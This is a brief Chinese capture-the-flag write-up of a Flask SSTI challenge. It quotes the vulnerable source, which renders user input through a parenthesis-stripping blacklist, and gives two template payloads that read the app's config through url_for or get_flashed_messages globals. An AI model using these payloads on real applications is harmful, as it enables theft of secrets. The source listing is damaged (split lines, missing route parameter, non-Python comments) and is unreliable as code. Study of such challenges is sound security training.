知识点
1.SSTI
步骤
打开网站,是一份pythone flask框架代码,分析。
python
import flask
import os
app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")
@app.route("/") //访问根目录,读取__file__的内容
def index():
return open(__file__).read()
@app.route("/shrine/")
def shrine(shrine):
def safe_jinja(s):
s = s.replace("(", "").replace(")", "") //过滤括号
blacklist = ["config", "self"] //黑名单,过滤config和self
return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤
return flask.render_template_string(safe_jinja(shrine)) //存在模版注入
if __name__ == "__main__":
app.run(debug=True)
可以发现在config中存在flag,所以目标就是读取config
1.测试模版注入

2.正常读取config

发现被过滤成None
3.尝试其他读取方式
使用get_flashed_messages或者url_for.__globals读取config
python
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
